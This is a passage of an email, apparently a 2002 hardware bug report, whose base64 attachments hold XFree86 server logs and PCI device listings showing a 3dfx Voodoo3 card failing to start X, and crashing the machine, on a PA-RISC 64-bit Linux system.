OCwNCgljeWJlcjkzOTcsIGN5YmVyOTM5N2R2ZCwgY3liZXI5NTIwLCBjeWJl
cjk1MjVkdmQsIGN5YmVyYmxhZGUvZTQsDQoJdGd1aTk0MjBkZ2ksIHRndWk5
NDQwYWdpLCB0Z3VpOTY2MCwgdGd1aTk2ODAsIHByb3ZpZGlhOTY4MiwNCglw
cm92aWRpYTk2ODUsIGN5YmVyOTM4MiwgY3liZXI5Mzg1LCAzZGltYWdlOTc1
LCAzZGltYWdlOTg1LCBibGFkZTNkLA0KCWN5YmVyYmxhZGVpNywgY3liZXJi
bGFkZWk3ZCwgY3liZXJibGFkZWkxLCBjeWJlcmJsYWRlaTFkLA0KCWN5YmVy
YmxhZGVBaTEsIGN5YmVyYmxhZGVBaTFkLCBjeWJlcmJsYWRlWFAsIGN5YmVy
YmxhZGVYUG0NCihJSSkgQ0hJUFM6IERyaXZlciBmb3IgQ2hpcHMgYW5kIFRl
Y2hub2xvZ2llcyBjaGlwc2V0czogY3Q2NTUyMCwgY3Q2NTUyNSwNCgljdDY1
NTMwLCBjdDY1NTM1LCBjdDY1NTQwLCBjdDY1NTQ1LCBjdDY1NTQ2LCBjdDY1
NTQ4LCBjdDY1NTUwLA0KCWN0NjU1NTQsIGN0NjU1NTUsIGN0Njg1NTQsIGN0
NjkwMDAsIGN0NjkwMzAsIGN0NjQyMDAsIGN0NjQzMDANCihJSSkgVERGWDog
RHJpdmVyIGZvciAzZGZ4IEJhbnNoZWUvVm9vZG9vMyBjaGlwc2V0czogM2Rm
eCBCYW5zaGVlLA0KCTNkZnggVm9vZG9vMywgM2RmeCBWb29kb281DQooSUkp
IEZCRGV2OiBkcml2ZXIgZm9yIGZyYW1lYnVmZmVyOiBmYmRldiwgYWZiDQoo
SUkpIEFUSTogQVRJIGRyaXZlciAodmVyc2lvbiA2LjMuNikgZm9yIGNoaXBz
ZXRzOiBhdGkNCihJSSkgUjEyODogRHJpdmVyIGZvciBBVEkgUmFnZSAxMjgg
Y2hpcHNldHM6IEFUSSBSYWdlIDEyOCBSRSAoUENJKSwNCglBVEkgUmFnZSAx
MjggUkYgKEFHUCksIEFUSSBSYWdlIDEyOCBSRyAoQUdQKSwgQVRJIFJhZ2Ug
MTI4IFJLIChQQ0kpLA0KCUFUSSBSYWdlIDEyOCBSTCAoQUdQKSwgQVRJIFJh
Z2UgMTI4IFBybyBQRCAoUENJKSwNCglBVEkgUmFnZSAxMjggUHJvIFBGIChB
R1ApLCBBVEkgUmFnZSAxMjggUHJvIFBQIChQQ0kpLA0KCUFUSSBSYWdlIDEy
OCBQcm8gUFIgKFBDSSksIEFUSSBSYWdlIDEyOCBNb2JpbGl0eSBMRSAoUENJ
KSwNCglBVEkgUmFnZSAxMjggTW9iaWxpdHkgTEYgKEFHUCksIEFUSSBSYWdl
IDEyOCBNb2JpbGl0eSBNRiAoQUdQKSwNCglBVEkgUmFnZSAxMjggTW9iaWxp
dHkgTUwgKEFHUCkNCihJSSkgUkFERU9OOiBEcml2ZXIgZm9yIEFUSSBSYWRl
b24gY2hpcHNldHM6IEFUSSBSYWRlb24gUUQgKEFHUCksDQoJQVRJIFJhZGVv
biBRRSAoQUdQKSwgQVRJIFJhZGVvbiBRRiAoQUdQKSwgQVRJIFJhZGVvbiBR
RyAoQUdQKSwNCglBVEkgUmFkZW9uIFZFIChBR1ApDQooSUkpIGltc3R0OiBk
cml2ZXIgKHZlcnNpb24gMS4wLjAgZm9yIElNUyBUd2luVHVyYm8gY2hpcHNl
dHMgOiBpbXN0dDEyOCwNCglpbXN0dDNkDQooSUkpIFZHQTogR2VuZXJpYyBW
R0EgZHJpdmVyICh2ZXJzaW9uIDQuMCkgZm9yIGNoaXBzZXRzOiBnZW5lcmlj
DQooSUkpIHY0bCBkcml2ZXIgZm9yIFZpZGVvNExpbnV4DQoJUzNWUHJvYmUg
YmVnaW4NCigtLSkgQ2hpcHNldCAzZGZ4IFZvb2RvbzMgZm91bmQNCihJSSkg
cmVzb3VyY2UgcmFuZ2VzIGFmdGVyIHhmODZDbGFpbUZpeGVkUmVzb3VyY2Vz
KCkgY2FsbDoNCglbMF0gLTEgMAkweGZmZmZmZmZmIC0gMHhmZmZmZmZmZiAo
MHgxKSBNWFtCXQ0KCVsxXSAtMSAwCTB4MDAwMDAwMDAgLSAweDAwMDAwMDAw
ICgweDEpIE1YW0JdDQoJWzJdIC0xIDAJMHhmMmZmZjAwMCAtIDB4ZjJmZmYw
N2YgKDB4ODApIE1YW0JdDQoJWzNdIC0xIDAJMHhmMmZmZTAwMCAtIDB4ZjJm
ZmVmZmYgKDB4MTAwMCkgTVhbQl0NCglbNF0gLTEgMAkweGYyZmZkMDAwIC0g
MHhmMmZmZDBmZiAoMHgxMDApIE1YW0JdDQoJWzVdIC0xIDAJMHhmMWZmMDAw
MCAtIDB4ZjFmZmZmZmYgKDB4MTAwMDApIE1YW0JdKEIpDQoJWzZdIC0xIDAJ
MHhmODAwMDAwMCAtIDB4ZjlmZmZmZmYgKDB4MjAwMDAwMCkgTVhbQl0oQikN
CglbN10gLTEgMAkweGY2MDAwMDAwIC0gMHhmN2ZmZmZmZiAoMHgyMDAwMDAw
KSBNWFtCXShCKQ0KCVs4XSAtMSAwCTB4MDAwMGZmZmYgLSAweDAwMDBmZmZm
ICgweDEpIElYW0JdDQoJWzldIC0xIDAJMHgwMDAwMDAwMCAtIDB4MDAwMDAw
MDAgKDB4MSkgSVhbQl0NCglbMTBdIC0xIDAJMHgwMDAwZmYwMCAtIDB4MDAw
MGZmN2YgKDB4ODApIElYW0JdDQoJWzExXSAtMSAwCTB4MDAwMGZlMDAgLSAw
eDAwMDBmZWZmICgweDEwMCkgSVhbQl0NCglbMTJdIC0xIDAJMHgwMDAwZmYw
MCAtIDB4MDAwMGZmZmYgKDB4MTAwKSBJWFtCXShCKQ0KKFdXKSAqKioqSU5W
QUxJRCBJTyBBTExPQ0FUSU9OKioqKiBiOiAweGZmMDAgZTogMHhmZmZmIGNv
cnJlY3RpbmcHDQooSUkpIHdpbmRvdzoNCglbMF0gLTEgMAkweDAwMDAwMDAw
IC0gMHgwMDAwZmZmZiAoMHgxMDAwMCkgSVhbQl0NCihJSSkgcmVzU2l6ZToN
CihJSSkgd2luZG93IGZpeGVkOg0KCVswXSAtMSAwCTB4MDAwMDAwMDAgLSAw
eDAwMDBmZmZmICgweDEwMDAwKSBJWFtCXQ0KKElJKSByZXNvdXJjZSByYW5n
ZXMgYWZ0ZXIgcHJvYmluZzoNCglbMF0gLTEgMAkweGZmZmZmZmZmIC0gMHhm
ZmZmZmZmZiAoMHgxKSBNWFtCXQ0KCVsxXSAtMSAwCTB4MDAwMDAwMDAgLSAw
eDAwMDAwMDAwICgweDEpIE1YW0JdDQoJWzJdIC0xIDAJMHhmMmZmZjAwMCAt
IDB4ZjJmZmYwN2YgKDB4ODApIE1YW0JdDQoJWzNdIC0xIDAJMHhmMmZmZTAw
MCAtIDB4ZjJmZmVmZmYgKDB4MTAwMCkgTVhbQl0NCglbNF0gLTEgMAkweGYy
ZmZkMDAwIC0gMHhmMmZmZDBmZiAoMHgxMDApIE1YW0JdDQoJWzVdIC0xIDAJ
MHhmMWZmMDAwMCAtIDB4ZjFmZmZmZmYgKDB4MTAwMDApIE1YW0JdKEIpDQoJ
WzZdIC0xIDAJMHhmODAwMDAwMCAtIDB4ZjlmZmZmZmYgKDB4MjAwMDAwMCkg
TVhbQl0oQikNCglbN10gLTEgMAkweGY2MDAwMDAwIC0gMHhmN2ZmZmZmZiAo
MHgyMDAwMDAwKSBNWFtCXShCKQ0KCVs4XSAwIDAJMHgwMDBhMDAwMCAtIDB4
MDAwYWZmZmYgKDB4MTAwMDApIE1TW0JdDQoJWzldIDAgMAkweDAwMGIwMDAw
IC0gMHgwMDBiN2ZmZiAoMHg4MDAwKSBNU1tCXQ0KCVsxMF0gMCAwCTB4MDAw
YjgwMDAgLSAweDAwMGJmZmZmICgweDgwMDApIE1TW0JdDQoJWzExXSAtMSAw
CTB4MDAwMDAwMDAgLSAweDAwMDAwMGZmICgweDEwMCkgSVhbQl0oQikNCglb
MTJdIC0xIDAJMHgwMDAwZmZmZiAtIDB4MDAwMGZmZmYgKDB4MSkgSVhbQl0N
CglbMTNdIC0xIDAJMHgwMDAwMDAwMCAtIDB4MDAwMDAwMDAgKDB4MSkgSVhb
Ql0NCglbMTRdIC0xIDAJMHgwMDAwZmYwMCAtIDB4MDAwMGZmN2YgKDB4ODAp
IElYW0JdDQoJWzE1XSAtMSAwCTB4MDAwMGZlMDAgLSAweDAwMDBmZWZmICgw
eDEwMCkgSVhbQl0NCglbMTZdIDAgMAkweDAwMDAwM2IwIC0gMHgwMDAwMDNi
YiAoMHhjKSBJU1tCXQ0KCVsxN10gMCAwCTB4MDAwMDAzYzAgLSAweDAwMDAw
M2RmICgweDIwKSBJU1tCXQ0KKElJKSBTZXR0aW5nIHZnYSBmb3Igc2NyZWVu
IDAuDQooSUkpIFRERlgoMCk6IFNvZnRib290aW5nIHRoZSBib2FyZCAodGhy
b3VnaCB0aGUgaW50MTAgaW50ZXJmYWNlKS4NCmMwMDA6MTk1YTogRjEgSUxM
RUdBTCBYODYgT1BDT0RFIQ0KKElJKSBUREZYKDApOiBTb2Z0Ym9vdGluZyB0
aGUgYm9hcmQgc3VjY2VlZGVkLg0KKCoqKSBUREZYKDApOiBEZXB0aCAyNCwg
KC0tKSBmcmFtZWJ1ZmZlciBicHAgMzINCig9PSkgVERGWCgwKTogUkdCIHdl
aWdodCA4ODgNCig9PSkgVERGWCgwKTogRGVmYXVsdCB2aXN1YWwgaXMgVHJ1
ZUNvbG9yDQooLS0pIFRERlgoMCk6IENoaXBzZXQ6ICIzZGZ4IFZvb2RvbzMi
DQooLS0pIFRERlgoMCk6IExpbmVhciBmcmFtZWJ1ZmZlciBhdCAweEY4MDAw
MDAwDQooLS0pIFRERlgoMCk6IE1NSU8gcmVnaXN0ZXJzIGF0IGFkZHIgMHhG
NjAwMDAwMA0KKEVFKSBUREZYKDApOiBObyB2YWxpZCBQSU8gYWRkcmVzcyBp
biBQQ0kgY29uZmlnIHNwYWNlDQooRUUpIFNjcmVlbihzKSBmb3VuZCwgYnV0
IG5vbmUgaGF2ZSBhIHVzYWJsZSBjb25maWd1cmF0aW9uLg0KDQpGYXRhbCBz
ZXJ2ZXIgZXJyb3I6DQpubyBzY3JlZW5zIGZvdW5kDQoNCldoZW4gcmVwb3J0
aW5nIGEgcHJvYmxlbSByZWxhdGVkIHRvIGEgc2VydmVyIGNyYXNoLCBwbGVh
c2Ugc2VuZA0KdGhlIGZ1bGwgc2VydmVyIG91dHB1dCwgbm90IGp1c3QgdGhl
IGxhc3QgbWVzc2FnZXMuDQpUaGlzIGNhbiBiZSBmb3VuZCBpbiB0aGUgbG9n
IGZpbGUgIi92YXIvbG9nL1hGcmVlODYuMC5sb2ciLg0KUGxlYXNlIHJlcG9y
dCBwcm9ibGVtcyB0byBzdWJtaXRAYnVncy5kZWJpYW4ub3JnLg0KDQo=
---275789367-806371304-1025637735=:16680
Content-Type: TEXT/plain; name="pci64.txt"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.44.0207022022151.16680@sal.ucc.ie>
Content-Description: /proc/bus/pci for Voodoo3 in PCI 64bit slot
Content-Disposition: attachment; filename="pci64.txt"

UENJIGRldmljZXMgZm91bmQ6DQogIEJ1cyAgMCwgZGV2aWNlICAxOSwgZnVu
Y3Rpb24gIDA6DQogICAgU0NTSSBzdG9yYWdlIGNvbnRyb2xsZXI6IExTSSBM
b2dpYyAvIFN5bWJpb3MgTG9naWMgKGZvcm1lcmx5IE5DUikgNTNjODc1IChy
ZXYgNCkuDQogICAgICBJUlEgOTkuDQogICAgICBNYXN0ZXIgQ2FwYWJsZS4g
IExhdGVuY3k9MjU1LiAgTWluIEdudD0xNy5NYXggTGF0PTY0Lg0KICAgICAg
SS9PIGF0IDB4ZmUwMCBbMHhmZWZmXS4NCiAgICAgIE5vbi1wcmVmZXRjaGFi
bGUgMzIgYml0IG1lbW9yeSBhdCAweGYyZmZkMDAwIFsweGYyZmZkMGZmXS4N
CiAgICAgIE5vbi1wcmVmZXRjaGFibGUgMzIgYml0IG1lbW9yeSBhdCAweGYy
ZmZlMDAwIFsweGYyZmZlZmZmXS4NCiAgQnVzICAwLCBkZXZpY2UgIDIwLCBm
dW5jdGlvbiAgMDoNCiAgICBFdGhlcm5ldCBjb250cm9sbGVyOiBEaWdpdGFs
IEVxdWlwbWVudCBDb3Jwb3JhdGlvbiBERUNjaGlwIDIxMTQyLzQzIChyZXYg
NDgpLg0KICAgICAgSVJRIDk2Lg0KICAgICAgTWFzdGVyIENhcGFibGUuICBM
YXRlbmN5PTI1NS4gIE1pbiBHbnQ9MjAuTWF4IExhdD00MC4NCiAgICAgIEkv
TyBhdCAweGZmMDAgWzB4ZmY3Zl0uDQogICAgICBOb24tcHJlZmV0Y2hhYmxl
IDMyIGJpdCBtZW1vcnkgYXQgMHhmMmZmZjAwMCBbMHhmMmZmZjA3Zl0uDQog
IEJ1cyAgMSwgZGV2aWNlICAgNCwgZnVuY3Rpb24gIDA6DQogICAgVkdBIGNv
bXBhdGlibGUgY29udHJvbGxlcjogM0RmeCBJbnRlcmFjdGl2ZSwgSW5jLiBW
b29kb28gMyAocmV2IDEpLg0KICAgICAgSVJRIDEyOC4NCiAgICAgIE5vbi1w
cmVmZXRjaGFibGUgMzIgYml0IG1lbW9yeSBhdCAweGY2MDAwMDAwIFsweGY3
ZmZmZmZmXS4NCiAgICAgIFByZWZldGNoYWJsZSAzMiBiaXQgbWVtb3J5IGF0
IDB4ZjgwMDAwMDAgWzB4ZjlmZmZmZmZdLg0KICAgICAgSS9PIGF0IDB4MWZm
MDAgWzB4MWZmZmZdLg0K
---275789367-806371304-1025637735=:16680
Content-Type: TEXT/plain; name="hpmc.txt"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.44.0207022022152.16680@sal.ucc.ie>
Content-Description: Voodoo3 in 32bit PCI slot, X causes HPMC
Content-Disposition: attachment; filename="hpmc.txt"

ICAgICAgICBJZiB0aGUgc2VydmVyIGlzIG9sZGVyIHRoYW4gNi0xMiBtb250
aHMsIG9yIGlmIHlvdXIgY2FyZCBpcw0KICAgICAgICBuZXdlciB0aGFuIHRo
ZSBhYm92ZSBkYXRlLCBsb29rIGZvciBhIG5ld2VyIHZlcnNpb24gYmVmb3Jl
DQogICAgICAgIHJlcG9ydGluZyBwcm9ibGVtcy4gIChTZWUgaHR0cDovL3d3
dy5YRnJlZTg2Lk9yZy9GQVEpDQpCdWlsZCBPcGVyYXRpbmcgU3lzdGVtOiBM
aW51eCAyLjQuMTYtNjQgcGFyaXNjNjQgW0VMRl0gDQooPT0pIExvZyBmaWxl
OiAiL3Zhci9sb2cvWEZyZWU4Ni4wLmxvZyIsIFRpbWU6IFR1ZSBKdWwgIDIg
MDQ6MzI6NDUgMjAwMg0KKD09KSBVc2luZyBjb25maWcgZmlsZTogIi9ldGMv
WDExL1hGODZDb25maWctNCINCk1hcmtlcnM6ICgtLSkgcHJvYmVkLCAoKiop
IGZyb20gY29uZmlnIGZpbGUsICg9PSkgZGVmYXVsdCBzZXR0aW5nLA0KICAg
ICAgICAgKCsrKSBmcm9tIGNvbW1hbmQgbGluZSwgKCEhKSBub3RpY2UsIChJ
SSkgaW5mb3JtYXRpb25hbCwNCiAgICAgICAgIChXVykgd2FybmluZywgKEVF
KSBlcnJvciwgKE5JKSBub3QgaW1wbGVtZW50ZWQsICg/PykgdW5rbm93bi4N
Cig9PSkgU2VydmVyTGF5b3V0ICJEZWZhdWx0IExheW91dCINCigqKikgfC0t
PlNjcmVlbiAiRGVmYXVsdCBTY3JlZW4iICgwKQ0KKCoqKSB8ICAgfC0tPk1v
bml0b3IgIkdlbmVyaWMgTW9uaXRvciINCigqKikgfCAgIHwtLT5EZXZpY2Ug
IlZvb2RvbzMgMzAwMCBQQ0kgMTZNQiBTR1JBTSINCigqKikgfC0tPklucHV0
IERldmljZSAiR2VuZXJpYyBLZXlib2FyZCINCigqKikgWEtCOiBydWxlczog
InhmcmVlODYiDQooKiopIFhLQjogbW9kZWw6ICJwYzEwNSINCigqKikgWEtC
OiBsYXlvdXQ6ICJnYiINCigqKikgfC0tPklucHV0IERldmljZSAiQ29uZmln
dXJlZCBNb3VzZSINCigqKikgRm9udFBhdGggc2V0IHRvICJ1bml4Lzo3MTAw
LC91c3IvbGliL1gxMS9mb250cy9taXNjLC91c3IvbGliL1gxMS9mb250cy9j
eXJpbGxpYywvdXNyL2xpYi9YMTEvZm9udHMvMTAwZHBpLzp1bnNjYWxlZCwv
dXNyL2xpYi9YMTEvZm9udHMvNzVkcGkvOnVuc2NhbGVkLC91c3IvbGliL1gx
MS9mb250cy9UeXBlMSwvdXNyL2xpYi9YMTEvZm9udHMvU3BlZWRvLC91c3Iv
bGliL1gxMS9mb250cy8xMDBkcGksL3Vzci9saWIvWDExL2ZvbnRzLzc1ZHBp
Ig0KKD09KSBSZ2JQYXRoIHNldCB0byAiL3Vzci9YMTFSNi9saWIvWDExL3Jn
YiINCigtLSkgdXNpbmcgVlQgbnVtYmVyIDINCg0KKC0tKSBQQ0k6ICgwOjM6
MCkgM2RmeCBJbnRlcmFjdGl2ZSBWb29kb28zIHJldiAxLCBNZW0gQCAweGY2
MDAwMDAwLzI1LCAweGY4MDAwMDAwLzI1LCBJL08gQCAweGZkMDAvOCwgQklP
UyBAIDB4ZjJmODAwMDAvMTYNCihJSSkgTUdBOiBkcml2ZXIgZm9yIE1hdHJv
eCBjaGlwc2V0czogbWdhMjA2NHcsIG1nYTEwNjRzZywgbWdhMjE2NHcsDQog
ICAgICAgIG1nYTIxNjR3IEFHUCwgbWdhZzEwMCwgbWdhZzEwMCBQQ0ksIG1n
YWcyMDAsIG1nYWcyMDAgUENJLCBtZ2FnNDAwDQooSUkpIEdMSU5UOiBkcml2
ZXIgZm9yIDNEbGFicyBjaGlwc2V0czogZ2FtbWEsIHRpX3BtMiwgdGlfcG0s
IHBtMywgcG0ydiwNCiAgICAgICAgcG0yLCBwbSwgMzAwc3gsIDUwMHR4LCBt
eCwgZGVsdGENCihJSSkgUzNWSVJHRTogZHJpdmVyICh2ZXJzaW9uIDEuNi4x
MykgZm9yIFMzIFZpUkdFIGNoaXBzZXRzOiB2aXJnZSwgODZDMzI1LA0KICAg
ICAgICB2aXJnZSB2eCwgODZDOTg4LCB2aXJnZSBkeCwgdmlyZ2UgZ3gsIDg2
QzM3NSwgODZDMzg1LCB2aXJnZSBneDIsDQogICAgICAgIDg2QzM1Nywgdmly
Z2UgbXgsIDg2QzI2MCwgdmlyZ2UgbXgrLCA4NkMyODAsIHRyaW8gM2QsIDg2
QzM2NSwNCiAgICAgICAgdHJpbyAzZC8yeCwgODZDMzYyLCA4NkMzNjgNCihJ
SSkgU0lTOiBkcml2ZXIgZm9yIFNpUyBjaGlwc2V0czogU0lTNTU5NywgU0lT
NTU5OCwgU0lTNTMwLCBTSVM2MzI2LA0KICAgICAgICBTSVMzMDAsIFNJUzYz
MCwgU0lTNTQwDQooSUkpIFNBVkFHRTogZHJpdmVyICh2ZXJzaW9uIDEuMS4x
NikgZm9yIFMzIFNhdmFnZSBjaGlwc2V0czogU2F2YWdlNCwNCiAgICAgICAg
U2F2YWdlM0QsIFNhdmFnZTNELU1WLCBTYXZhZ2UyMDAwLCBTYXZhZ2UvTVgt
TVYsIFNhdmFnZS9NWCwNCiAgICAgICAgU2F2YWdlL0lYLU1WLCBTYXZhZ2Uv
SVgsIFByb1NhdmFnZSBQTTEzMywgUHJvU2F2YWdlIEtNMTMzLCBUd2lzdGVy
LA0KICAgICAgICBUd2lzdGVySw0KKElJKSBUUklERU5UOiBkcml2ZXIgZm9y
IFRyaWRlbnQgY2hpcHNldHM6IHR2Z2E4OTAwZCwgY3liZXI5MzIwLCBjeWJl
cjkzODgsDQogICAgICAgIGN5YmVyOTM5NywgY3liZXI5Mzk3ZHZkLCBjeWJl
cjk1MjAsIGN5YmVyOTUyNWR2ZCwgY3liZXJibGFkZS9lNCwNCiAgICAgICAg
dGd1aTk0MjBkZ2ksIHRndWk5NDQwYWdpLCB0Z3VpOTY2MCwgdGd1aTk2ODAs
IHByb3ZpZGlhOTY4MiwNCiAgICAgICAgcHJvdmlkaWE5Njg1LCBjeWJlcjkz
ODIsIGN5YmVyOTM4NSwgM2RpbWFnZTk3NSwgM2RpbWFnZTk4NSwgYmxhZGUz
ZCwNCiAgICAgICAgY3liZXJibGFkZWk3LCBjeWJlcmJsYWRlaTdkLCBjeWJl
cmJsYWRlaTEsIGN5YmVyYmxhZGVpMWQsDQogICAgICAgIGN5YmVyYmxhZGVB
aTEsIGN5YmVyYmxhZGVBaTFkLCBjeWJlcmJsYWRlWFAsIGN5YmVyYmxhZGVY
UG0NCihJSSkgQ0hJUFM6IERyaXZlciBmb3IgQ2hpcHMgYW5kIFRlY2hub2xv
Z2llcyBjaGlwc2V0czogY3Q2NTUyMCwgY3Q2NTUyNSwNCiAgICAgICAgY3Q2
NTUzMCwgY3Q2NTUzNSwgY3Q2NTU0MCwgY3Q2NTU0NSwgY3Q2NTU0NiwgY3Q2
NTU0OCwgY3Q2NTU1MCwNCiAgICAgICAgY3Q2NTU1NCwgY3Q2NTU1NSwgY3Q2
ODU1NCwgY3Q2OTAwMCwgY3Q2OTAzMCwgY3Q2NDIwMCwgY3Q2NDMwMA0KKElJ
KSBUREZYOiBEcml2ZXIgZm9yIDNkZnggQmFuc2hlZS9Wb29kb28zIGNoaXBz
ZXRzOiAzZGZ4IEJhbnNoZWUsDQogICAgICAgIDNkZnggVm9vZG9vMywgM2Rm
eCBWb29kb281DQooSUkpIEZCRGV2OiBkcml2ZXIgZm9yIGZyYW1lYnVmZmVy
OiBmYmRldiwgYWZiDQooSUkpIEFUSTogQVRJIGRyaXZlciAodmVyc2lvbiA2
LjMuNikgZm9yIGNoaXBzZXRzOiBhdGkNCihJSSkgUjEyODogRHJpdmVyIGZv
ciBBVEkgUmFnZSAxMjggY2hpcHNldHM6IEFUSSBSYWdlIDEyOCBSRSAoUENJ
KSwNCiAgICAgICAgQVRJIFJhZ2UgMTI4IFJGIChBR1ApLCBBVEkgUmFnZSAx
MjggUkcgKEFHUCksIEFUSSBSYWdlIDEyOCBSSyAoUENJKSwNCiAgICAgICAg
QVRJIFJhZ2UgMTI4IFJMIChBR1ApLCBBVEkgUmFnZSAxMjggUHJvIFBEIChQ
Q0kpLA0KICAgICAgICBBVEkgUmFnZSAxMjggUHJvIFBGIChBR1ApLCBBVEkg
UmFnZSAxMjggUHJvIFBQIChQQ0kpLA0KICAgICAgICBBVEkgUmFnZSAxMjgg
UHJvIFBSIChQQ0kpLCBBVEkgUmFnZSAxMjggTW9iaWxpdHkgTEUgKFBDSSks
DQogICAgICAgIEFUSSBSYWdlIDEyOCBNb2JpbGl0eSBMRiAoQUdQKSwgQVRJ
IFJhZ2UgMTI4IE1vYmlsaXR5IE1GIChBR1ApLA0KICAgICAgICBBVEkgUmFn
ZSAxMjggTW9iaWxpdHkgTUwgKEFHUCkNCihJSSkgUkFERU9OOiBEcml2ZXIg
Zm9yIEFUSSBSYWRlb24gY2hpcHNldHM6IEFUSSBSYWRlb24gUUQgKEFHUCks
DQogICAgICAgIEFUSSBSYWRlb24gUUUgKEFHUCksIEFUSSBSYWRlb24gUUYg
KEFHUCksIEFUSSBSYWRlb24gUUcgKEFHUCksDQogICAgICAgIEFUSSBSYWRl
b24gVkUgKEFHUCkNCihJSSkgaW1zdHQ6IGRyaXZlciAodmVyc2lvbiAxLjAu
MCBmb3IgSU1TIFR3aW5UdXJibyBjaGlwc2V0cyA6IGltc3R0MTI4LA0KICAg
ICAgICBpbXN0dDNkDQooSUkpIFZHQTogR2VuZXJpYyBWR0EgZHJpdmVyICh2
ZXJzaW9uIDQuMCkgZm9yIGNoaXBzZXRzOiBnZW5lcmljDQooSUkpIHY0bCBk
cml2ZXIgZm9yIFZpZGVvNExpbnV4DQooLS0pIENoaXBzZXQgM2RmeCBWb29k
b28zIGZvdW5kDQooSUkpIFRERlgoMCk6IFNvZnRib290aW5nIHRoZSBib2Fy
ZCAodGhyb3VnaCB0aGUgaW50MTAgaW50ZXJmYWNlKS4NCmMwMDA6MTk1YTog
RjEgSUxMRUdBTCBYODYgT1BDT0RFIQ0KKElJKSBUREZYKDApOiBTb2Z0Ym9v
dGluZyB0aGUgYm9hcmQgc3VjY2VlZGVkLg0KKCoqKSBUREZYKDApOiBEZXB0
aCAyNCwgKC0tKSBmcmFtZWJ1ZmZlciBicHAgMzINCig9PSkgVERGWCgwKTog
UkdCIHdlaWdodCA4ODgNCig9PSkgVERGWCgwKTogRGVmYXVsdCB2aXN1YWwg
aXMgVHJ1ZUNvbG9yDQooLS0pIFRERlgoMCk6IENoaXBzZXQ6ICIzZGZ4IFZv
b2RvbzMiDQooLS0pIFRERlgoMCk6IExpbmVhciBmcmFtZWJ1ZmZlciBhdCAw
eEY4MDAwMDAwDQooLS0pIFRERlgoMCk6IE1NSU8gcmVnaXN0ZXJzIGF0IGFk
ZHIgMHhGNjAwMDAwMA0KKC0tKSBUREZYKDApOiBQSU8gcmVnaXN0ZXJzIGF0
IGFkZHIgMHhGRDAwDQooSUkpIFRERlgoMCk6IERSQU1JTklUMSByZWFkIDB4
MCwgcHJvZ3JhbW1pbmcgMHgyMDIwMzEgKG5vdCBCYW5zaGVlKQ0KKCoqKSBU
REZYKDApOiBWaWRlb1JBTTogMTYzODQga0J5dGUgTWFwcGluZyAzMjc2OCBr
Qnl0ZQ0KKD09KSBUREZYKDApOiBVc2luZyBnYW1tYSBjb3JyZWN0aW9uICgx
LjAsIDEuMCwgMS4wKQ0KKElJKSBUREZYKDApOiBHZW5lcmljIE1vbml0b3I6
IFUNCg0KTGFzaTogYmFya2luZyB3aXRob3V0IGFwcGFyZW50IHJlYXNvbi4N
Cg0KSGlnaCBQcmlvcml0eSBNYWNoaW5lIENoZWNrIChIUE1DKTogQ29kZT0x
IHJlZ3M9MTAyODQwODAgKEFkZHI9MDAwMDAwMDApDQo=
---275789367-806371304-1025637735=:16680
Content-Type: TEXT/plain; name="hpmc2.txt"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.44.0207022022153.16680@sal.ucc.ie>
Content-Description: second try, no changes, still HPMC
Content-Disposition: attachment; filename="hpmc2.txt"

WEZyZWU4NiBWZXJzaW9uIDQuMS4wLjEgLyBYIFdpbmRvdyBTeXN0ZW0NCihw
cm90b2NvbCBWZXJzaW9uIDExLCByZXZpc2lvbiAwLCB2ZW5kb3IgcmVsZWFz
ZSA2NTEwKQ0KUmVsZWFzZSBEYXRlOiAyMSBEZWNlbWJlciAyMDAxDQogICAg
ICAgIElmIHRoZSBzZXJ2ZXIgaXMgb2xkZXIgdGhhbiA2LTEyIG1vbnRocywg
b3IgaWYgeW91ciBjYXJkIGlzDQogICAgICAgIG5ld2VyIHRoYW4gdGhlIGFi
b3ZlIGRhdGUsIGxvb2sgZm9yIGEgbmV3ZXIgdmVyc2lvbiBiZWZvcmUNCiAg
ICAgICAgcmVwb3J0aW5nIHByb2JsZW1zLiAgKFNlZSBodHRwOi8vd3d3LlhG
cmVlODYuT3JnL0ZBUSkNCkJ1aWxkIE9wZXJhdGluZyBTeXN0ZW06IExpbnV4
IDIuNC4xNi02NCBwYXJpc2M2NCBbRUxGXSANCig9PSkgTG9nIGZpbGU6ICIv
dmFyL2xvZy9YRnJlZTg2LjAubG9nIiwgVGltZTogVHVlIEp1bCAgMiAwNDo0
OTo1NCAyMDAyDQooPT0pIFVzaW5nIGNvbmZpZyBmaWxlOiAiL2V0Yy9YMTEv
WEY4NkNvbmZpZy00Ig0KTWFya2VyczogKC0tKSBwcm9iZWQsICgqKikgZnJv
bSBjb25maWcgZmlsZSwgKD09KSBkZWZhdWx0IHNldHRpbmcsDQogICAgICAg
ICAoKyspIGZyb20gY29tbWFuZCBsaW5lLCAoISEpIG5vdGljZSwgKElJKSBp
bmZvcm1hdGlvbmFsLA0KICAgICAgICAgKFdXKSB3YXJuaW5nLCAoRUUpIGVy
cm9yLCAoTkkpIG5vdCBpbXBsZW1lbnRlZCwgKD8/KSB1bmtub3duLg0KKD09
KSBTZXJ2ZXJMYXlvdXQgIkRlZmF1bHQgTGF5b3V0Ig0KKCoqKSB8LS0+U2Ny
ZWVuICJEZWZhdWx0IFNjcmVlbiIgKDApDQooKiopIHwgICB8LS0+TW9uaXRv
ciAiR2VuZXJpYyBNb25pdG9yIg0KKCoqKSB8ICAgfC0tPkRldmljZSAiVm9v
ZG9vMyAzMDAwIFBDSSAxNk1CIFNHUkFNIg0KKCoqKSB8LS0+SW5wdXQgRGV2
aWNlICJHZW5lcmljIEtleWJvYXJkIg0KKCoqKSBYS0I6IHJ1bGVzOiAieGZy
ZWU4NiINCigqKikgWEtCOiBtb2RlbDogInBjMTA1Ig0KKCoqKSBYS0I6IGxh
eW91dDogImdiIg0KKCoqKSB8LS0+SW5wdXQgRGV2aWNlICJDb25maWd1cmVk
IE1vdXNlIg0KKCoqKSBGb250UGF0aCBzZXQgdG8gInVuaXgvOjcxMDAsL3Vz
ci9saWIvWDExL2ZvbnRzL21pc2MsL3Vzci9saWIvWDExL2ZvbnRzL2N5cmls
bGljLC91c3IvbGliL1gxMS9mb250cy8xMDBkcGkvOnVuc2NhbGVkLC91c3Iv
bGliL1gxMS9mb250cy83NWRwaS86dW5zY2FsZWQsL3Vzci9saWIvWDExL2Zv
bnRzL1R5cGUxLC91c3IvbGliL1gxMS9mb250cy9TcGVlZG8sL3Vzci9saWIv
